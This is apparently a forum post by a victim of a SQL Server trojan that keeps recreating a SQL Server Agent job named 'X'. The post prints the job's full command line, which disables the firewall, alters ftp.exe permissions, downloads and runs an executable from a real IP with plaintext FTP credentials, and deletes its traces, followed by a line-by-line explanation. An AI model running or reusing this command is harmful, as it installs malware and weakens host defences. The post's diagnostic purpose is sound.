中了一个史上最顽固超阴超狠的SQL木马！

这个木马最特别的地方，就是查不出来源，删除了一样会复活。

重装win2003和SQL SERVER都没用。

这个木马的整个流程：  木马源（不知道在什么地方）——自动运行SQL server Agent——生成名字叫“X”的自动作业——x通过运行ftp.exe，自动链接到222.208.183.101 下载木马——运行DoIt.bat安装木马，然后自动删除DoIt.bat


其中名字叫“X”的自动作业执行的指令是：

Cmd.exe /c del ias\ias.mdb&del ias\dnary.mdb&Start net1 stop sharedaccess&Md str312146&Cd str312146&Cacls %windir%\system32\ftp.exe /c /e /p EveryOne:F&Echo Open 222.208.183.101 >k.w&echo admin >>k.w&echo 123456 >>k.w&echo get guojing7.exe
>>k.w&echo bye >>k.w&ftp -i -s:k.w&del k.w&Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&echo for %%i in (*.exe) do start %%i>DoIt.bat&ping -n 10 127.0.0.1&DoIt.bat&del DoIt.bat&&del *.* /f /s /q

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; GoogleT5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MCDZ_V1_00-19-21-58-36-42; TheWorld)

您查询的IP:222.208.183.101

本站主数据：四川省眉山市 电信 参考数据一：四川省眉山市 电信 参考数据二：四川省眉山市 电信

估计是黑客控制的一个肉鸡。

ftp://admin:123456@222.208.183.101

登陆上去看到：

黑.jpg (22.74 K)

2008-9-9 15:26:49

这个就是木马的老巢了！里面的木马每天都出新变种！

现在唯一想不明白的，就是SQL server Agent里面的“X”是怎么生成的？由谁生成？是某个存储过程吗？

1，    C盘是格式化之后再重装的，同样版本的SQL和2003在其他电脑上使用是正常的。其他盘扫描过没有发现病毒。当然不排除病毒隐藏得特别好。
2，  单机拨号上网，不是局域网。
3，  重装当天检查过SQL server Agent，完全正常，第二天上网就发现又多了个“X”，但是只上过QQ.com，没上过其他网站。QQ.com应该是没问题的，因为其他人的电脑上都没事情。排除是网站带来的病毒。

Cmd.exe /c del ias\ias.mdb&  删除system32\ias\ias.mdb （用于储存远程访问策略）
del ias\dnary.mdb&  删除system32\ias\dnary.mdb （IAS 日志文件）
Start net1 stop sharedaccess&  关闭(Intemet连接共享和防火墙服务)。
Md str312146&  建立文件夹str312146
Cd str312146&  进入文件夹str312146
Cacls %windir%\system32 \ftp.exe /c /e /p EveryOne:F&  修改ftp.exe权限为EveryOne完全控制
Echo Open 222.208.183.101 >k.w&      生成k.w文件，内容是“Open 222.208.183.101” 
echo admin >>k.w&    用户名
echo 123456 >>k.w&    密码
echo get guojing7.exe >>k.w&    下载guojing7.exe
echo bye >>k.w&    退出FTP
ftp -i -s:k.w&  运行ftp命令
del k.w&  删除k.w文件
Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&  恢复ftp.exe权限为正常
echo for %%i in (*.exe) do start %%i>DoIt.bat&  生成DoIt.bat文件，内容是执行当前目录的所有exe 文件
ping -n 10 127.0.0.1&  使用ping命令，检查本机是否启动了网络服务
DoIt.bat&  运行DoIt.bat
del DoIt.bat&&  删除DoIt.bat
del *.* /f /s /q  删除生成的所有临时文件。